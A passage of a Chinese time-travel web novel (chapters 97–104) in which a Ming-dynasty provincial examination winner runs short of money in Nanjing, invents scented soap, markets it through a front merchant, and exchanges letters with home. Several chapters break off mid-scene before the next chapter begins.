“秦淮文会…鱼龙混杂,
但确是扬名立万、
结交江南才子的好机会,
可去,但需谨言慎行。”
“至于这些盐商、米行的东家…”
他拿起几份散发着铜臭气和熏香味的帖子,
随手丢到一旁。
“急功近利,吃相难看,一概回绝。”
苏惟山看着他那精准快速、
如同处理政务般的筛选,
佩服得五体投地:
“瑾哥儿,你这脑子是咋长的?
我看得都眼花。”
苏惟瑾笑了笑:
“无他,唯手熟尔。”
心里补了句:加上一台内置的超级计算机。
接下来的日子,苏惟瑾便过上了半是应酬、半是苦读的生活。
同知府的宴请,设在金陵有名的“醉仙楼”。
雕梁画栋,珍馐美馔,歌舞升平。
刘同知是个富态的中年人,
言谈风趣,看似随意,
却句句带着试探。
席间还有几位府衙官员和本地名流作陪。
酒过三巡,自然有人提起苏惟瑾那篇惊世骇俗的漕运策论。
一位粮道官员便捻须笑道:
“苏解元高才,‘官督商运’之论令人耳目一新。
然则,漕粮关乎国本,
假手商贾,是否风险过大?
若奸商囤积居奇,
或遇风波盗贼,延误漕期,岂非动摇国本?”
问题尖锐,席间顿时安静下来,都看向苏惟瑾。
苏惟瑾放下酒杯,从容不迫:
“大人所虑极是。
故学生以为,‘官督’为核心。
非是放任自流,
而是以律法、契约严格约束。
遴选商贾,需考察其信誉、实力,收取巨额保证金。
漕粮运输路线、时间、损耗标准,
皆由官府严格规定,
第98章 金陵居不易,银钱开销大
魏国公府的宴请,
自是另一番天地。
朱门高槛,甲士肃立,
一路进去,廊庑深深,
仿佛没有尽头。
宴设在水阁之中,九曲回廊,
灯火通明,映照着秦淮河水,恍若仙境。
席间珍馐百味,
许多连苏惟瑾这超频大脑都叫不出名堂,
器皿皆是官窑精品,
甚至有不少前朝古物,随意摆置。
作陪的除了国公府几位清客相公,
便是南京守备衙门、
五军都督府的几位实权人物,
谈笑间提及的皆是军国大事、
南北漕运、乃至九边军情。
苏惟瑾谨言慎行,
多数时候只听不说,
偶尔被问及策论中观点,
便言简意赅答上几句,引经据典,
逻辑清晰,倒也让几位武勋大佬听得频频点头,
觉得这小举人不似寻常文人迂腐,颇有见地。
一场宴席,宾主尽欢。
魏国公并未多言,
只勉励了几句“为国储才,
将来好生效力”的套话,
但那份无形的重视,
已让苏惟瑾在金陵的地位又悄然拔高了一截。
然而,从国公府那云端仙境回到悦来客栈这人间烟火地,
苏惟瑾还没来得及回味那琉璃盏里的琼浆玉液,
就被一盆冷水浇了个透心凉。
苏惟山捧着账本,
哭丧着脸杵在门口,
活像刚被催租的衙役抄了家。
“瑾哥儿…咱、咱快没钱了…”
他声音都在发颤。
苏惟瑾解外袍的手一顿:
“七叔公不是才捎来五十两?
怎会如此快?”
“我的好解元公哟!”
苏惟山都快哭了,掰着手指头开始算。
“您如今是举人老爷了,
这行头能省吗?
做两身体面襕衫、置办新头巾、
好一点的靴子,这就去了十五两!
出门拜会座师、赴各府宴请,
总不能腿着去吧?
雇轿子、雇马车,
这半个月就花了十两!
还有,那些高门大户的门房、长随,
递帖子要打赏,人家客气送您回来,
也得给脚力钱吧?
这又是五六两!”
他喘了口气,继续诉苦:
“客栈房钱、一日三餐(虽多是赴宴,但日常用度也不能太寒酸)、
笔墨纸砚(您最近写字多,耗得厉害)、
还有前几日赵老侍郎府上送来几册书,
您回礼总不能太轻吧?
又去了五两…七叔公那五十两,
早就见底了!
这还是我跟惟虎顿顿啃馒头就咸菜,
能省则省的结果!”
苏惟瑾听得头皮发麻。
他知道金陵消费高,
却没想到高到如此地步。
举人的身份带来了荣耀和人脉,
也带来了与之匹配的、惊人的开销。
这还只是刚开始!
春闱在京举行,从金陵到北京,
千里迢迢,路费、食宿、在京城的打点应酬…
那才是个无底洞!
“穷文富武?”
苏惟瑾内心苦笑。
“这高阶文人的路,
比练武烧钱多了!
没点家底,光是人情往来就能把你榨干!”
他走到桌边,
拿起那本简陋的账册,
上面密密麻麻记录着每一项支出,
字字透着苏惟山的焦虑。
超频大脑瞬间将数据过了一遍,
结论令人沮丧:
按照目前这种社交频率和标准,
他们三个大男人在金陵,
一个月至少需一百两才能维持体面!
这还不包括任何意外开销。
七叔公送来的五十两,
已是族里咬牙凑出的,
指望他在金陵“拓展人脉”,
但这点钱,扔进金陵这销金窟,
连个像样的水花都溅不起来。
“瑾哥儿,要不…咱那些宴请,
能推就推了吧?”
苏惟山小心翼翼地问。
“推?”
苏惟瑾摇头。
“有些宴请能推,
有些却是敲门砖,
推了便是自绝于门外。
人情似纸张张薄,
世事如棋局局新。
此刻缩了,之前积累的那点声望便前功尽弃。”
他沉吟片刻,问道:
“我们还有多少?”
“刨去欠客栈的三日房钱…
还剩…三两七钱银子。”
苏惟山的声音低得像蚊子哼。
三两七钱,在沭阳够普通庄户人家过半年,
在金陵,怕是只够魏国公府门口那石狮子一顿肉糜的开销。
苏惟瑾踱到窗边,
看着楼下熙攘繁华的金陵街市,
车水马龙,商铺林立,
叫卖声不绝于耳。
这座城市的繁华,
此刻在他眼中,
却透着一种冰冷的现实。
没钱,寸步难行。
功名虽好,却不能直接当银子花。
“惟山哥,”
他忽然开口,语气已恢复冷静。
“你去打听一下,
金陵城里,书铺、文玩店、乃至当铺,
收不收时文集子?
尤其是…新科解元注解的时文集子。”
苏惟山一愣:
“集子?您要出书?
那可得找刻坊,耗费时日,
而且前期还得投钱…”
“不刻板。”
苏惟瑾眼中闪烁着超频大脑计算时特有的锐光。
“我们手抄。”
“手抄?!”
苏惟山差点跳起来。
“那能卖几本?还不够笔墨钱!”
“物以稀为贵。”
第99章 超脑分析,首个小发明
手头有了百两银子,
腰杆子暂时硬挺了些。
但苏惟瑾看着账本上预估的后续开销
——北上盘缠、京城住宿、春闱期间的打点、
可能的同年聚会……
心头那点刚升起的暖意又凉了下去。
卖文章终究是权宜之计,
甚至有点跌份儿。
堂堂解元,
总不能一直当个高级抄书匠。
得有个细水长流又体面的进项。
是夜,悦来客栈的油灯亮至深夜。
苏惟瑾摒退左右,
独自坐在窗前,
窗外金陵城的万家灯火渐次熄灭,
唯有他房中,
超频大脑正以前所未有的功率全速运转。
目标:寻找一种成本低、
技术门槛不高、见效快、
利润丰厚且不易被模仿的“小发明”。
海量的信息流在意识中奔腾。
现代化学、物理学、
材料学知识如同被打开的潘多拉魔盒,
与他对明代社会、市场、
物资条件的认知相互碰撞、筛选、评估。
提纯食盐?
利润巨大,但涉及民生根本,
盐铁官营,碰之即死,PASS。
改良笔墨?
市场有,但竞争激烈,
改进空间有限,且文人挑剔,
难以快速打开局面。
花露水、香水?
成本高,工艺复杂(酒精提纯、精油萃取),
市场受众窄(主要是富贵女眷),见效慢。
高度烈酒?
明代饮酒习惯以低度黄酒、米酒为主,
高度酒市场接受度存疑,
且酿制周期长,设备要求高。
一项项方案被提出,
又被迅速否决。
超频大脑如同最精密的筛子,
过滤掉所有不切实际的幻想。
最终,焦点锁定在一个看似平凡却极具潜力的物件上——香皂。
明代已有洁身之物,
如澡豆(粉末状,以豆粉为主料添加药材)、
肥皂团(将皂角捣烂加工成球状),
富贵人家也用猪胰脏混合豆粉、香料制成的“胰子”。
但普遍存在去污力一般、使用不便、
香气驳杂或不持久、造型粗糙等问题。
“就是它了!”
苏惟瑾眼中精光一闪。
超频大脑瞬间调出皂化反应原理(油脂+碱肥皂+甘油),
并开始疯狂匹配明代易得的原料:
油脂:猪油!
量大便宜,金陵城肉铺每日产出巨量。
也可少量添加菜籽油、茶油调节硬度。
碱:草木灰水!
乡下随处可见,过滤后可得碱液。
或者…天然碱矿?
大脑瞬间检索地理记忆,山西、内蒙古…太远,暂不考虑。
草木灰水足矣。
添加剂:香料!
桂花、茉莉、薄荷…金陵周边花卉资源丰富,
可尝试简单蒸馏萃取或油浸法获取香精。
还可添加少量蜂蜜、牛奶提升肤感。
模具:找木匠或陶匠定制,
雕上雅致花纹或“玉洁”、“凝芳”等字样,
瞬间提升逼格。
核心优势:
1.工艺简单,猪油、草木灰、香料混合加热搅拌,
倒入模具冷却即成,无需复杂设备。
2.成本极低,主要原料几乎都是废物利用。
3.效果碾压现有产品,去污力、香气、外观全方位提升。
4.易于差异化,通过不同香料、模具打造不同档次产品,
主攻高端市场,利润惊人。
5.配比和香料处理是核心机密,不易被仿制。
“完美!”
苏惟瑾一拍大腿,兴奋地站了起来。
思路清晰,目标明确!
次日,他便开始了“秘密研发”。
让苏惟山去不同肉铺零散收购最便宜的猪板油,
又让苏仲坤去城外农家收购了几大袋草木灰,
美其名曰“试验新的清洁之法”。
他自己则去了金陵最大的香料铺子和药铺,
购买了些桂花干、茉莉干、薄荷叶以及一些常见药材,
又购置了些小陶罐、滤布、简易蒸馏器具(借口炼丹制药)。
客栈后院一间闲置的柴房被临时征用为“实验室”。
苏惟瑾以“准备奇巧文章需静心”为由,
谢绝了一切打扰,
带着两个一头雾水的族兄开始了捣鼓。
过程并非一帆风顺。
猪油腥臊味难除?
超脑检索:加入少量生姜、橘皮同煮,过滤。
草木灰水碱度不够或不纯?
反复过滤、静置沉淀,
甚至尝试不同柴火的灰烬。
皂化反应不完全?
控制温度,持续搅拌。
香料添加时机不对,香气挥发?
冷却至一定温度再加入萃取液。
模具雕刻不精细?
亲自画图,找手艺好的老木匠重新制作。
苏惟山和苏惟虎看着苏惟瑾
化身老道士炼丹般将那些油乎乎、
灰扑扑的东西混合、
加热、搅拌、倒入奇奇怪怪的模具里,
面面相觑,实在搞不懂这位解元公到底要做什么文章需要这个?
但出于对苏惟瑾的无条件信任(主要是解元光环太耀眼),
两人还是老老实实地烧火、过滤、搬东西,累得满头大汗。
数日后,第一锅成品出炉。
脱模的那一刻,苏惟山瞪大了眼睛。
只见那一个个巴掌大小、
椭圆形的物事,色泽温润微黄,
触手光滑细腻,
上面还清晰地印着缠枝莲纹和“玉润”二字,
散发出淡淡的、持久的桂花香气。
“瑾哥儿…这、这是啥?点心?”
苏惟山咽了口口水,
这玩意儿看着比街上卖的香药果子还精致。
苏惟瑾拿起一块,笑了笑:
“不是吃的,是用的。
洗手洗脸沐浴皆可。”
他亲自示范,打湿手后,
用这“香皂”轻轻一搓,
立刻泛起细腻丰富的泡沫,
清香扑鼻,用水一冲,
手上污垢尽去,留下清爽滑腻之感,
还带着若有似无的桂花香。
“神了!”
苏仲坤惊叫道,也抢过一试,
效果立竿见影,
比那皂角、胰子好用不知多少倍!
“这、这东西肯定好卖!”
苏惟山也反应过来,
第100章 合作共赢,寻找代理人
香皂研制成功,只是万里长征第一步。
如何将它变成源源不断的银钱,
且不玷污自己解元的清誉,
才是关键。
苏惟瑾深知,士农工商,等级森严。
自己若赤膊上阵,操持商贾贱业,
一旦传扬出去,先前积累的文名顷刻尽毁,
春闱之路都可能平添波折。
必须找个代理人,找个白手套。
超频大脑迅速调取记忆碎片,
结合近日在金陵的所见所闻,
开始筛选目标。
合作者需满足几个条件:
一是人品可靠,有基本信誉;
二是经营陷入困境,
有强烈翻身欲望,易于控制;
三是规模不大,方便自己以小博大;
四是最好与文教沾点边,不至于太过铜臭。
很快,一个名字浮现在脑海——彭久亮。
此人是金陵本地一小商人,
经营着一家名为“翰雅斋”的文房铺子,
兼卖些香囊、扇子等雅玩。
铺面不大,位于城南文人聚集区,口碑尚可。
苏惟瑾前几日去逛过,
为其挑过一方不错的歙砚。
交谈中得知,
彭久亮之父是个老秀才,
他自身也读过几年书,
言谈间颇有几分儒商气质。
奈何近来经营不善,
因一批湖笔受潮霉变,
赔了不少钱,又被同行挤压,
铺子已是岌岌可危。
更重要的是,这彭久亮是老师文徴明府上一位老管家的远房亲戚,
勉强算有点根脚,知根底,相对可信。
“就是他了。”
苏惟瑾定下目标。
翌日,苏惟瑾并未大张旗鼓,
只带着苏惟山,
换了身半新不旧的直裰,
如同寻常士子逛街般,
再次踱进了翰雅斋。
店面果然冷清,
货架上的货物也显得有些稀疏落寞。
彭久亮正无精打采地拨弄着算盘,
见有客来,连忙挤出笑容迎上,
认出是前几日来过的年轻举人(解元之名他已经知晓),
更是热情了几分:
“苏相公来了,快请进!
上次那方歙砚可还合用?”
“甚好,彭掌柜有心了。”
苏惟瑾微笑着颔首,
目光在店内扫过,状似随意道:
“今日看来,贵店似乎清减了些?”
彭久亮脸上笑容一僵,
化作一丝苦涩,叹气道:
“不瞒苏相公,近来生意难做,
只好将些存货折价处理了,
周转一二。”
言语间透着浓浓的无奈。
苏惟瑾点点头,不再绕弯子,
示意苏惟山将带来的一个小巧锦盒放在柜台上。
“苏某今日来,是想与彭掌柜谈一桩生意。”
“生意?”
彭久亮一愣,疑惑地看着那锦盒。
一个前途无量的举人,
能和他这小铺掌柜谈什么生意?
苏惟瑾打开锦盒,
里面静静躺着三块造型精美、
香气各异的香皂——桂花、茉莉、薄荷。
“此物名为‘玉润皂’,
沐浴盥洗之用,
去污留香,效果远胜胰子澡豆。
彭掌柜不妨一试。”
苏惟瑾做了个请的手势。
彭久亮将信将疑地拿起那块桂花香的,
入手温润,香气清雅持久。
他依言去后堂打了盆水,
试用片刻后,再出来时,
脸上已满是震惊之色!
双手搓了又搓,闻了又闻,
激动得声音都有些变调:
“苏、苏相公!
这、这真是神物!
您从何处得来?
莫非是宫里的方子?”
苏惟瑾含笑不语。
彭久亮是精明人,
瞬间明白了什么,心脏砰砰狂跳,
呼吸都急促起来:
“苏相公的意思是…?”
“我想与彭掌柜合作。”
苏惟瑾语气平静,
却带着不容置疑的份量。
“我提供此物的独家配方、
制作工艺,并可投入五十两银子作为前期本钱。
彭掌柜你负责招募可靠人手,
寻找合适作坊,组织生产,
以及最重要的——铺开销售。
所得利润,你我五五分成。”
五五分成!
彭久亮几乎以为自己听错了!
对方出方子出钱,
自己只出力和现有的铺面渠道,
竟能分一半利润?
这简直是天上掉馅饼!
他经营这破铺子,
一年忙到头,刨去开销,
能落下二三十两银子就谢天谢地了!
而这香皂的效果他亲身体验过,
一旦推出,必然风靡,利润简直不敢想象!
巨大的惊喜之后,
商人的谨慎又让他冷静了几分。
他强压激动,小心翼翼地问道:
“苏相公如此厚爱,彭某感激不尽!
只是…不知苏相公为何选中彭某?
又有何条件?”
他可不相信世上有免费的午餐。
苏惟瑾欣赏他的冷静,道:
“原因有三。
其一,彭掌柜家学渊源,算是读书种子,苏某愿与君子交。
其二,贵店虽暂遇困境,
但地处文雅之区,客户多是士绅文人,
与此物定位相符。
其三,我信文府管家眼光,他推荐的人,当是信人。”
他轻轻点出翟銮的关系,既抬高了对方,
也隐含一丝敲打——我知道你的根底,别动歪心思。
“至于条件,”
苏惟瑾继续道。
“其一,配方工艺乃绝密,
生产需分环节,
核心步骤须由你最信任之人掌握。
其二,对外,你便是东家,
不得提及我的名字,
只可说偶得古方改良。
第101章 “玉衡皂”问世,风靡金陵
城郊小院日夜飘散着淡淡的油脂与花香混合的独特气息。
在彭久亮近乎痴狂的盯梢和苏惟山三天两头的“巡查”下,
第一批“玉衡皂”终于悄然问世。
取名自苏惟瑾的字“玉衡”,
既雅致贴切,又暗合解元公的身份,
彭久亮对此佩服得五体投地。
货是有了,如何卖出去,
且要卖出高价,卖出格调,
却是门大学问。
直接摆上翰雅斋的柜台吆喝?
那是自降身价,与贩夫走卒无异。
苏惟瑾坐镇客栈,运筹帷幄。
超频大脑结合现代营销理念与明代人情世故,
制定了一套组合拳。
第一步,“赠”而非“卖”。
他让苏惟山精心挑选了二十套(每套三块,不同香型)用料最精、
造型最完美的香皂,
配上彭久亮找来的锦盒,
以“新科解元苏惟瑾”的名义,
作为“区区薄礼,聊表寸心”,
送往近期与他有往来、
且身份最显赫的几家府邸。
翟銮座师府上、魏国公府、赵老侍郎家、刘同知衙门……
甚至那位仅有数面之缘、
却对苏惟瑾颇为欣赏的金陵文社社长家,
都收到了这份“意外之喜”。
礼单上附着一张小笺,
字迹是苏惟瑾亲笔,
措辞极是谦逊:
“晚生偶得古方,试制此洁身小物,
名曰‘玉衡皂’。
用之可祛污涤尘,
或能稍解案牍之劳。
材质粗陋,本不敢献于尊前,
然念及长者关爱,聊表敬意,万望笑纳。”
瞧瞧,不说卖,
说是自己做的“小玩意”,
孝敬长辈的。
谁还好意思追问价钱?
收了礼,自然就承了情。
效果立竿见影。
魏国公府的小姐用了后,
爱不释手,尤其是那茉莉香型,
清幽淡雅,非寻常香粉可比,
连带着几日心情极佳。
国公夫人见女儿喜欢,
又觉此物确比胰子精致好用,
便随口问了句来源,
一听是那位“有见识的小解元”所制所赠,
印象更深了几分。
赵老侍郎用那桂花皂洗了次笔,
发现去墨效果奇佳,
且满手留香,对着老妻连连称赞:
“此子心思奇巧,
于格物之道亦有涉猎,
难得,难得!”
刘同知的如夫人则对薄荷皂青睐有加,
夏日里用后浑身清凉舒爽,
在闺中密友聚会时忍不住炫耀了一番。
第二步,“限”与“引”。
彭久亮那边,得到苏惟瑾授意,
并未大肆铺货。
只在翰雅斋最显眼的位置,
设了一个小巧精致的琉璃托盘,
上面只摆了三块“玉衡皂”,
旁边立一雅致木牌,
上书:“玉衡皂,沐手清心,非卖品,仅供雅鉴。”
这一下,可把人的好奇心勾到了顶点。
前来购买文房的士子、夫人小姐们,
纷纷被那晶莹润泽、造型精美、
暗香浮动的“非卖品”吸引。
“彭掌柜,此物何为非卖?可能一观?”
“哎呀,这香气真好闻,是何物所制?”
“非卖品摆出来作甚?岂不惹人心痒?”
彭久亮便按苏惟瑾教的,
一脸“无奈”地解释:
“此乃一位不愿透露名名的雅士,
依古法所制,产量极低,
成本高昂,仅供至交好友赏玩。
小店也只是代为其展示,实在无法出售。”
越是得不到,越是心痒难耐。
很快,“翰雅斋有神奇香皂,只展不卖”的消息就在小圈子里传开了。
第三步,“口耳相传”与“精准投放”。
时机成熟,苏惟瑾让彭久亮“勉为其难”地放出极少量货源,
价格就定五百文一块,爱买不买。
购买者还需登记名帖,
美其名曰“防宵小囤积居奇,
务使雅物入雅士之手”。
首先买到的,自然是那些消息灵通、
且与收到赠礼的府邸有些关联的富家子弟和官眷。
他们一用之下,效果惊人,
优越感顿生,立刻成为自发宣传员。
“王兄,可知那‘玉衡皂’?
如今金陵城独一份!
用过才知何为洗尽铅华!”
“李夫人,你身上这香气好生特别,莫非……”
“嗨,就是那玉衡皂,难买得很!
我家那口子托了刘同知府上的关系才弄到两块!”
与此同时,彭久亮又按照苏惟瑾的第二条指示,
让苏惟山带着十几块精心包装的香皂,
悄悄去了秦淮河畔最有名的几家画舫,
找到相熟的管事嬷嬷或头牌姑娘。
“免费”赠送,只求“试用反馈”。
效果更是爆炸。
对于倚门卖笑、以色事人的风月女子而言,
一身诱人体香、肌肤光滑细腻乃是核心竞争力!
玉衡皂的效果远超她们用的花粉、
香囊和普通胰子,瞬间风靡秦淮河。
“妈妈!快想办法多买些那玉衡皂来!
有了它,还怕压不过对面那家的头牌?”
“姐姐们都在打听哪儿能买到,价格翻倍也愿意!”
第四步,“饥饿营销”与“品牌效应”。
需求彻底引爆,玉衡皂一皂难求。
彭久亮严格控制出货量,
每日只售十块,
往往开门不到一个时辰就被抢购一空。
黑市上价格甚至被炒到了一两银子一块,依然有价无市。
“玉衡”二字,
迅速成为金陵城时尚、高端、神秘的代名词。
人们以能用上玉衡皂为荣,
互相攀比。
它不仅仅是清洁用品,
更是一种身份象征,一种社交谈资。
滚滚利润随之而来。
刨去所有成本,
每块皂净利超过四百文!
每日十块便是四两银子,
一月便是一百二十两!
这还只是开始!
彭久亮看着每日入库的雪花银,
手都激动得发抖,
对那位隐身幕后的苏解元敬若神明。
他严格按照协议,
每五日便将苏惟瑾应得的利润分成(扣除少量再投入生产的资金),
让苏惟山悄悄带回客栈。
第102章 沭阳捷报传,众生百态显
金陵城“玉衡皂”的风靡,
尚未传回沭阳。
但另一则更加爆炸的消息,
却如同插上了翅膀,
由官府驿马快船加急,
一路鸣锣响鼓,送到了沭阳县衙!
“捷报——沭阳县学子苏惟瑾,
高中嘉靖元年乙酉科南直隶乡试第一名解元!!”
报子高亢嘹亮的嗓音,
伴随着急促的锣声,
瞬间撕裂了沭阳小城午后的宁静。
县衙门前,早已得到风声的王璞县令率领一众属官,
满面红光地接过那烫金的捷报文书,
当众高声宣读。
每一个字都如同惊雷,
炸响在围观百姓的耳中。
“解元?!我的老天爷!
是头名!头名啊!”
“苏惟瑾?是那个苏小九?
西街苏家那个?”
“除了他还有谁!
我的娘诶,真中了!还是解元!”
“了不得!了不得!
咱们沭阳出了个文曲星啊!!”
...
人群瞬间沸腾了!
欢呼声、惊叹声、议论声如同开了锅的滚水,
瞬间淹没了整条大街。
消息像野火般迅速蔓延全城,
每一个角落都在谈论着同一个名字——苏惟瑾!
人群中,突然炸起两声格外谄媚尖锐的嚎叫,压过了周围的喧哗!
就在捷报传来前片刻,
人群中的苏有才还正唾沫横飞地对旁人道:
“哼,南直隶那是啥地方?
才子多如牛毛!
我那大侄儿虽说有点运道,
这回怕是也难啰…”
苏有德在一旁点头附和:
“强龙不压地头蛇,
能考个举人回来就烧高香了!”
两人语气中的酸意与隐隐的幸灾乐祸,
引得周围知情人侧目。
然而,当“第一名解元”这几个字清晰传来时,
苏有才如同被掐住脖子的公鸡,
后面的话戛然而止,
脸色瞬间由之前的故作深沉变成了难以置信的呆滞,
随即转为狂喜的扭曲。
他猛地挤开人群,脸红脖子粗,
挥舞着双臂,俨然中了邪祟,
激动得五官都变了形:
“中了!真中了!解元!
是我大侄儿!是我亲大侄儿啊!”
旁边的苏有德也不甘示弱,
之前的刻薄预言仿佛从未说过,
跳着脚喊,唾沫星子横飞:
“苍天有眼!祖宗积德!
我就说!我就说我们老苏家要出真龙了!
解元!南直隶头名啊!哈哈哈!”
两人此刻的疯癫谄媚,
与片刻前的质疑贬低形成了无比讽刺的对比,
宛如当众自扇耳光,丑态百出,
引得周围不少人投来鄙夷和讥讽的目光。
西街苏家那扇斑驳的木门,
几乎要被汹涌而来道贺的人群挤塌。
苏有才和苏有德凭借着一身蛮力和泼皮劲儿,
硬是抢先挤进了院子最中心,
一左一右簇拥住还在发懵的七叔公。
七叔公苏正廉,
穿着一身浆洗得发白、
却熨烫得一丝不苟的青衫,
被众人簇拥在院子中央。
他手里紧紧攥着官府送来的捷报抄本,
枯瘦的手指不住颤抖,
浑浊的老眼瞪得溜圆,
反复看着上面“第一名解元”那几个字,
嘴唇哆嗦着,想说什么,
却一个字也说不出来。
苏有才抢先一把扶住七叔公的胳膊,
声音带着哭腔,
却难掩其中的炫耀:
“七叔!七叔您听见了吗?
解元!惟瑾中解元了!
光宗耀祖!光耀门楣啊!
这、这都有赖于我们兄弟俩当初……
当初咬牙送他去张家见识世面啊!
不然哪来的今天!”
他这番颠倒黑白、恬不知耻的言论,
让周围一些知晓内情的族人邻居脸上露出毫不掩饰的厌恶,
有人甚至直接冷哼出声。
苏有德立刻接口,
仿似排练过一般:
“对对对!大哥说得对!
当初我们可是顶了多大压力?
花了多少心思?
就为了给小九谋个前程!
虽说过程是坎坷了点,
但玉不琢不成器啊!
看看!如今这器成了!
成大器了!南直隶解元!
这泼天的富贵,总算让我们……
让咱们苏家盼来了!”
他说到“泼天的富贵”时,
眼睛都在冒光。
突然,七叔公猛地仰天大笑,
笑声洪亮竟不似老者,
笑着笑着,两行热泪却从眼角滚滚而下。
“祖宗显灵!祖宗显灵啊!!
我苏家…我苏家终于又出了个人物!!”
他挥舞着捷报,对着四周的族人、邻居、
乃至所有挤进来看热闹的人嘶声大喊。
“摆宴!摆宴三天!
所有乡邻,皆可来饮!
我苏家…熬出头了!!”
他激动得浑身发抖,
脸上每一道皱纹都舒展开,
焕发出惊人的红光。
几个族中后生连忙上前搀扶,
生怕他欢喜过头,背过气去。
苏有才苏有德也假意搀扶着,
嘴上不停:
“摆!必须大摆!
七叔,这钱我们兄弟先垫上!
惟瑾的喜事,就是我们的事!”
“对!大哥说的对!
这宴席规格不能低了,
得配得上解元公的身份!”
就在这片喧嚣与算计中,
一个纤细的身影从屋内冲了出来,是苏婉。
她显然刚听到消息,
小脸因为极度激动而涨得通红,
眼眶里盈满了泪水,
却不再是往日委屈的泪水,
而是纯粹的、极致的喜悦。
她甚至顾不上周围的人群,
像只快乐的小鸟,
第103章 文萱来信,纸短情长
金陵城的喧嚣与沭阳县的震动,
如同两道汹涌的暗流,
在苏惟瑾不知情的情况下澎湃激荡。
而他暂居的悦来客栈客房,
却仿佛一方独立的天地,
静默中酝酿着下一场风暴。
案头,堆叠着愈发高耸的经史子集;
墙角,那只盛放银两的小木箱也已半满,
“玉衡皂”带来的财源细水长流,
支撑着他体面地在这留都安心向学。
苏惟瑾埋首书卷,
超频大脑以最高效率处理着海量的信息,
为即将到来的春闱做着最后的冲刺。
这日午后,窗外秋阳正好,
蝉鸣已歇,只余清风拂过竹叶的沙沙声。
苏惟山轻手轻脚地进来,
脸上带着一种奇特的、
混合着恭敬与窃笑的表情,
手里捧着一个扁平的、
以青绫细细包裹的方胜。
“瑾哥儿,”
他压低声音,像是怕惊扰了什么。
“沭阳来的信,是…赵教谕府上送来的。”
苏惟瑾从书卷中抬起头,
目光掠过那方胜。
青绫素雅,边角熨帖,
系扣处打着一个精巧的同心结,
透着一股不同于寻常书信的细致与用心。
他心中微微一动,面上却不动声色,
只淡淡道:“放着吧。”
苏惟山“哎”了一声,
小心翼翼地将那方胜放在书案一角,
又偷偷觑了苏惟瑾一眼,
这才憋着笑,蹑手蹑脚地退了出去,
还贴心地将房门轻轻掩上。
屋内重归寂静。
苏惟瑾的目光却再也无法完全聚焦于书上的文字。
那方青绫包裹的方胜,
像一枚投入静湖的石子,
在他心湖里漾开圈圈细微的涟漪。
他放下书,静坐片刻,终是伸出手,
将那方胜取了过来。
入手微沉,触感细腻。
解开那精致的同心结,
展开青绫,里面露出一封素笺。
信封上是清秀婉约、
却带着几分风骨的小楷,
只书“苏惟瑾相公亲启”,
并无落款,但字迹他认得
——是赵文萱的。
抽出信笺,一股极淡雅的、
熟悉的冷梅幽香若有似无地飘散开来,
与他记忆中那间萦绕着墨香与茶香的书房气息悄然重合。
展信读之,开篇是得体而真挚的祝贺:
“惟瑾相公青览:金陵捷报传至沭阳,举县欢腾。
闻相公高中解元,蟾宫折桂,
名动江南,萱虽深处闺阁,
亦不胜欣喜雀跃。
相公之才,皎如明月,
终破云翳,大放光华,
此实乃天道酬勤,可喜可贺。”
言辞克制,保持着大家闺秀的端庄,
但字里行间流淌出的那份由衷的喜悦,
却透过纸背,清晰可感。
接着,笔锋轻轻一转,化作含蓄的关怀:
“金陵繁华,远胜沭阳,
然则春闱渐近,京师路遥,
相公孤身在外,万望善自珍重,
勤勉之余,亦需顾惜身心。
寒暑交替,切记添减衣物;
饮食起居,勿要过于简薄。
闻北地风沙甚于江南,
行程之事,宜早做筹划。”
似如春风拂面,细腻温存,
每一句叮嘱都落在实处,
没有丝毫虚浮客套,
显是真正用了心思的。
信至末尾,墨迹似乎略深了些,
笔触也显得更为凝练,
附上了一首精心所作的五言小诗:
“潜鳞栖沚水,偶闻金陵潮。
风雨催鹏翼,云程路迢迢。
但秉凌云志,莫畏九天高。
愿祈清风力,送君扶摇翱。”
诗题《闻捷有感》。
这首诗,巧妙至极。
通篇未提一个“情”字,
却将少女的心事婉转道出。
“潜鳞”暗喻他昔日困顿,
“金陵潮”指他名动江南,
“风雨鹏翼”既言科举之路艰辛,亦含关切之意。
“凌云志”、“九天高”是鼓励更是期许。
最后两句“愿祈清风力,送君扶摇翱”,
更是将那份欲助不能、
唯愿默默祝福的复杂心绪,
表达得含蓄而深情。
她以鲲鹏喻他,期盼他展翅高飞,
却又隐含着一丝怕他飞得太高太远、
自己无法企及的淡淡忧思。
苏惟瑾手持信笺,久久未动。
超频大脑早已将信中文辞诗句解析得透彻分明,
其中蕴含的欣赏、关切、鼓励、
乃至那一丝若有若无的倾慕,
他都清晰地感知到了。
一股难以言喻的暖流,
悄然浸润过他因连日苦读和算计而略显冷硬的心田。
在这远离故土、周遭尽是利益交织的留都,
能收到这样一封纯粹而雅致的来信,
犹如沙漠甘泉,珍贵无比。
他眼前仿佛浮现出赵文萱灯下提笔,
凝神构思,娟秀的字迹一笔一划落在纸上的情景,
她那白皙的侧脸或许还微微泛着红晕。
沉吟片刻,苏惟瑾铺开新的宣纸,研墨润笔。
他并未急于回复,而是闭目思索。
超频大脑中无数诗词歌赋流转,
最终,他决定不应完全模仿对方风格,
而是以自身心境回应。
笔尖落下,墨迹酣畅:
“文萱小姐雅鉴:惠书奉悉,再三捧读,感念殊深。
金陵喧嚷,忽闻乡音,如聆清梵,慰藉良多。
蒙小姐吉言,惟瑾侥幸中式,
实赖师友扶持,皇恩浩荡,岂敢自矜?
春闱在即,自当兢兢业业,不敢有负期许。
小姐叮嘱,谨记于心,
必当慎寒暑,节饮食,以求全力赴考。”
回信先是诚恳感谢,回应关怀,态度谦逊而得体。
随后,他笔锋亦是一转,附上一首应和之诗:
“蓬蒿栖鸾影,忽乘江海潮。
风雷虽动翼,根骨念旧坳。
岂惧青冥远,长空正可遨。
但得蟾宫信,共话桂华韶。”
诗题《次韵谢沭阳友人》。
他的诗,气象更为开阔。
“蓬蒿鸾影”自谦亦暗合昔日,
“江海潮”对应“金陵潮”,
第104章 雪茹豪言,等你当大官
赵文萱那封带着冷梅幽香的信笺,
好比在苏惟瑾心湖投下一枚温润的雨花石,
涟漪细细,余韵悠长。
他刚将回信交付苏惟山送去驿馆,
笔尖的墨迹似乎还残留着那份含蓄的诗情,
房门却再次被“哐哐”敲响。
这次动静大了许多,
带着一股子迫不及待的冲劲儿。
“瑾哥儿!瑾哥儿!又来信了!沭阳来的!”
苏惟山的声音隔着门板传来,
洪亮得多,也…兴奋得多,
隐隐还带着点看热闹不嫌事大的促狭。
苏惟瑾微微挑眉,
今日是什么日子?
沭阳的鸿雁扎堆往金陵飞?
“进来。”
门被推开,苏惟山几乎是蹿了进来,
